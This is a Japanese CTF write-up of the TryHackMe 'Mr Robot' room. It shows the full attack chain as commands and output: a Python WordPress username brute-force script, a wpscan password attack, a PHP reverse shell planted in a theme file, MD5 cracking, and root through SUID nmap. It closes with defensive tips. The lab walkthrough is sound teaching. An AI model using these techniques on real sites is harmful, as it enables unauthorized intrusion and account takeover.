はじめに
TryHackMeの "Mr Robot CTF" というルームのWriteupです。
映画ドラマ "Mr.Robot" の世界観あふれるWebサイトを攻略していきましょう!
- 難易度 : Medium
目標
Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
3つのキーを取得するのが目標です。
Recon
オープンポート調査
いつも通りnmapでポートスキャンをしていく。
└─$ nmap -Pn -A -T4 10.10.85.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-10 05:49 EST
Nmap scan report for 10.10.85.110
Host is up (0.30s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.31 seconds
80(http), 443(ssl/http) が空いている
珍しくssh(22)は閉じているようだ。
Webサイトの偵察
ひとまずブラウザから確認していきましょう。
かなり作りこまれたページでとても良いです。
BIOSからOSを起動したような画面がブラウザに表示されました(ワクワク)
OSコマンドが打ちたくなる画面なのでとりあえず ls
を打ってみる。
コマンドが制限されているようで怒られる。
help
で使えるコマンドを確認してみたら、いくつかのコマンドが表示された。
1つずつコマンドを打ってみましょう。
fsociery
"Are you ready to join fsociety?"
という動画メッセージが流れます。
すごい世界観が作りこまれててドキドキしますね。
inform
4枚の興味深い写真とメッセージが出てきた(→問題にはあまり関係なかった)
すべてのコマンドを打ってみた結果、コマンド名と同じページに遷移することがわかったので、ほかのページがないか調査していきましょう。
Enumeration
隠しディレクトリ調査
gobusterで隠しディレクトリがないか調査していきます。
┌──(kali㉿kali)-[~]
└─$ cat gobuster.log
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.252.197
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 218]
/.hta (Status: 403) [Size: 213]
/.htpasswd (Status: 403) [Size: 218]
/0 (Status: 301) [Size: 0] [--> http://10.10.252.197/0/]
/admin (Status: 301) [Size: 235] [--> http://10.10.252.197/admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/atom/]
/audio (Status: 301) [Size: 235] [--> http://10.10.252.197/audio/]
/blog (Status: 301) [Size: 234] [--> http://10.10.252.197/blog/]
/css (Status: 301) [Size: 233] [--> http://10.10.252.197/css/]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-admin/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/image (Status: 301) [Size: 0] [--> http://10.10.252.197/image/]
/Image (Status: 301) [Size: 0] [--> http://10.10.252.197/Image/]
/images (Status: 301) [Size: 236] [--> http://10.10.252.197/images/]
/index.html (Status: 200) [Size: 1188]
/index.php (Status: 301) [Size: 0] [--> http://10.10.252.197/]
/js (Status: 301) [Size: 232] [--> http://10.10.252.197/js/]
/intro (Status: 200) [Size: 516314]
/license (Status: 200) [Size: 309]
/login (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-login.php]
/page1 (Status: 301) [Size: 0] [--> http://10.10.252.197/]
/phpmyadmin (Status: 403) [Size: 94]
/rdf (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/rdf/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/rss (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/sitemap (Status: 200) [Size: 0]
/sitemap.xml (Status: 200) [Size: 0]
/video (Status: 301) [Size: 235] [--> http://10.10.252.197/video/]
/wp-admin (Status: 301) [Size: 238] [--> http://10.10.252.197/wp-admin/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.252.197/wp-content/]
/wp-config (Status: 200) [Size: 0]
/wp-cron (Status: 200) [Size: 0]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.252.197/wp-includes/]
/wp-load (Status: 200) [Size: 0]
/wp-links-opml (Status: 200) [Size: 227]
/wp-login (Status: 200) [Size: 2671]
/wp-mail (Status: 500) [Size: 3064]
/wp-signup (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-login.php?action=register]
/wp-settings (Status: 500) [Size: 0]
/xmlrpc (Status: 405) [Size: 42]
/xmlrpc.php (Status: 405) [Size: 42]
===============================================================
Finished
===============================================================
かなりたくさんのディレクトリが見えちゃってますね。
いろいろ見た中で気になったページを紹介します。
/admin
一番気になったこのページは要注意。永遠にリダイレクトされる、、、
/admin (Status: 301) [Size: 235] [--> http://10.10.252.197/admin/]
/readme
どういう意味だろう?
/image
掲示板のような感じになっていて、何か投稿することができそうです。
何個か送信してみたけどすぐ反映されるわけではなさそうでした。
→ 後ほどわかるが、ユーザからのコメントを投稿するかどうかは承認制
/wp-login.php
なんとwordpressが使われているようです。
/robots.txt
フラグの名前のヒントと辞書みたいなものがありますね
fsocity.dic , key-1-of-3.txt
robots.txtとは?
robots.txtに記載されているファイルは、クローラの検索から除外される。
通常隠したいファイル名を記載する。
さっきのgobusterでのディレクトリスキャンには引っかからなかったのですが、隠したいファイル名が記載されているということで、要確認です。
ルーム名がヒントなので、robots.txt を最初に確認するべきだった(反省)
fsocity.dic , key-1-of-3.txt
というファイルがありそうなのでurlに入れてみると、2つともファイルが見れました。
- key-1-of-3.txt
1つ目のフラグゲット!!!!
- fsocity.dic
何か辞書のようなものがダウンロードできました。
中身はよくわからない用語の羅列になっている。このファイル、かなり重複が多いです。おそらくあとでブルートフォースに使う辞書なのでしょう。
┌──(kali㉿kali)-[~]
└─$ wc -l fsocity.dic
858160 fsocity.dic <--------------- 行数
┌──(kali㉿kali)-[~]
└─$ cat fsocity.dic | grep username | wc -l
150 <---------------------------- usernameの超複数
ソートして重複を除くと、85万行が1万行に減らせた。
あとでブルートフォースに使うと思うのでこのほうが早く探せる。
┌──(kali㉿kali)-[~]
└─$ sort fsocity.dic | uniq > unique.dic
┌──(kali㉿kali)-[~]
└─$ wc -l unique.dic
11451 unique.dic
/wp-signup
期待して確認したのですが、今は登録できないよと言われてしまいました。
/wp-links-opml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
このXMLファイルには、スタイル情報が関連付けられていないようです。ドキュメントツリーを以下に示す。
ブログにも何も書かれてなかったのでドキュメントツリーも何もない。
Wordpress 4.3.1
という情報を得た。
→ CVEやexploit codeを探したが見つからず・・・
/license
what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
Rapid9とかからコードを引っ張ってきて、いつからスクリプトキティになったんだ?
Rapid9について調べたけど見つからず、どうやら名前が変わったようでこれのことみたい。Metasploitを作っている会社だった。
Gaining Access
それではログインしていきましょう。
存在するユーザ名を調べる
wordpressのログインページにさきほどの辞書を使ってブルートフォースを仕掛けていきます。
HTTPリクエストから変数を確認
試しにuser=name, passwd=passでログインしてみて開発者ツールでリクエストを見てみたら変数が分かりました。変数を指定してブルートフォースすることが出来ます。
pythonで大量にログインリクエストを送信する
下記のようなペイロードを作成する。
import requests
host = '10.10.xxx.xxx'
url = 'http://' + host + '/wp-login.php'
def attack(s, url, user):
payload = {'log': user, 'pwd': 'a', 'wp-submit': 'Log In'}
res = s.post(url, data=payload)
if 'Invalid username.' in res.text:
return False
return True
with open('unique.dic', 'r') as f:
wordlist = f.readlines()
s = requests.Session()
s.get(url)
for w in wordlist:
w = w.strip()
if attack(s, url, w):
print(w)
break
else:
continue
ワードリストのすべてをusernameとするリクエストを送信して、レスポンスに'Invalid username.'
という文字列がなければTrueを返し、そのときのワードを表示して終了するというスクリプト。
ユーザ名が無い場合に 'Invalid username.'
というエラーメッセージを出してしまうと、今回のように攻撃者にとってヒントになってしまうので気を付けましょう。
実行します。
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py
Elliot
ユーザ名がわかりましたね。Elliotでログインしたいと思います。
Elliotのログインパスワードは何か?
同様にブルートフォースするペイロードを書いて実行してみるが、1万行あるからかなかなか終わらず、方針を変えてwpscanでブルートフォースすることにした。
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://10.10.252.197 -U Elliot -P unique.dic -t 64
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.252.197/ [10.10.252.197]
[+] Started: Sat Feb 10 10:59:57 2024
(中略)
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - Elliot / ER28-0652
All Found
Progress Time: 00:00:39 <=================================== > (12 / 22) 54.54% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: Elliot, Password: ER28-0652
パスワードゲット!
会社の先輩がhydraで解いていて、以下の解き方の方がスマートだなと思ったのでメモ
ブログにリバースシェルを仕込む
ログインして中身を見ていくと、ブログが投稿できるようになっている。
しかも、htmlとphpのコードが書けるようだ。kaliにデフォルトで入っているPHPのリバースシェルを仕込む。
kaliの場合、ここにリバースシェルがあります。
cat /usr/share/webshells/php/php-reverse-shell.php
これをブログの "404.php" にコピペ。コピペしたらIPアドレスとポートは書き換えておきましょう。
ローカルでリスナーを起動しておき、404.phpにアクセスするとリバースシェルが実行され、シェルが立ち上がる!!!
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.252.197] 37197
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
17:04:46 up 3:43, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$
無事、deamonユーザでログインできました。
robotへのログイン
ユーザを見るとrobotというのがいる。怪しいですね。
$ cat /etc/passwd | cut -d ":" -f 1
root
daemon
(中略)
robot
ひとまず2つ目のキーを探していく。
$ cd home
$ ls
robot
$ cd robot
$ ls
key-2-of-3.txt
password.raw-md5
$ ls -l
total 8
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
2つ目のキーの場所が分かったが、閲覧権限はrobotしかない。やはり、robotにログインしないといけないようですね。
また、 password.raw-md5
という気になるファイルを発見。中身を見てみましょう。
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
md5で暗号化されているパスワードのようなので、JohnTheRipperで解読します。
┌──(kali㉿kali)-[~]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
+ abcdefghijklmnopqrstuvwxyz (?)
1g 0:00:00:00 DONE (2024-02-10 12:41) 25.00g/s 1012Kp/s 1012Kc/s 1012KC/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
パスワードが解読できたので、このパスワードでrobotにログインする。
$ su robot
su: must be run from a terminal
su robot
でログインしようとすると、terminalから実行しろと怒られるので、pythonでシェルをアップデートしておく。
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ whoami
whoami
robot
robot@linux:~$
無事、robotにログイン出来、先ほど見れなかった2つ目のフラグも取得できました。
PrivEsc
それでは3つ目のフラグを取得するために、rootに権限昇格していきましょう。
権限昇格の方法については以下にまとめています。
基本的なSUDOやSUIDの脆弱性がないか調査していきましょう。
SUDOの脆弱性がないか
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz
Sorry, user robot may not run sudo on linux.
robot@linux:~$
robotにsudoで実行できるコマンドはないようです。残念。
SUIDの脆弱性がないか
robotがroot権限で実行できるコマンドがないか見ていきます。
robot@linux:/$ find / -perm -u=s -type f 2>/dev/null | awk -F'/' '{print $NF}'
ping
umount
mount
ping6
su
passwd
newgrp
chsh
chfn
gpasswd
sudo
nmap
ssh-keysign
dmcrypt-get-device
vmware-user-suid-wrapper
vmware-user-suid-wrapper
pt_chown
GTGObinsと照らし合わせてみると、nmapが怪しい。
参考:nmap
nmap --interactive
で、シェルにアクセスできるのですが、それがroot権限で実行できてしまうようです。
robot@linux:/$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> whoami
Unknown command (whoami) -- press h <enter> for help
nmap> !whoami
root
waiting to reap child : No child processes
nmap>
rootでログイン出来ているようですね。!
を毎回先頭につけるのが大変なのでここでシェルを立ち上げておきましょう。
nmap> !sh
# ls
bin etc lib media passwd.txt run srv usr
boot home lib64 mnt proc sbin sys var
dev initrd.img lost+found opt root shadow.txt tmp vmlinuz
# whoami
root
#
rootでシェルが立ち上がりました。
rootのパスワードがわかったわけではないですが、無事権限昇格成功!
# whoami
root
# find / -name key-3-of-3.txt 2>/dev/null
/root/key-3-of-3.txt
# cat /root/key-3-of-3.txt
****flag**********************
3つ目のフラグが見つかりました。お疲れ様でした!!!
あとがき
かなりボリュームがあって達成感のあるルームでした。
途中でMetasploitのヒントがあったのですが使わずに解いてしまったので、使う解き方もしてみたいなと思います。
今回のポイントとしては以下の通りです。
- Webサイトの偵察に時間を使いすぎない
- ルーム名から想像してrobots.txtを見に行く
- Wordpressのエラーメッセージを元にブルートフォース
- sshが閉じている→リバースシェルを考える
開発する側としては。以下に注意しましょう。
- ログインページ
- ログインページを公開しない
- 数回失敗したらアカウントロックする
- ログイン失敗メッセージを表示しない(
Invalid username, Invalid password
などのヒントを与えない) - 2段階認証を取り入れる
- robots.txtを公開しない
- 不用意にSUIDを付与しない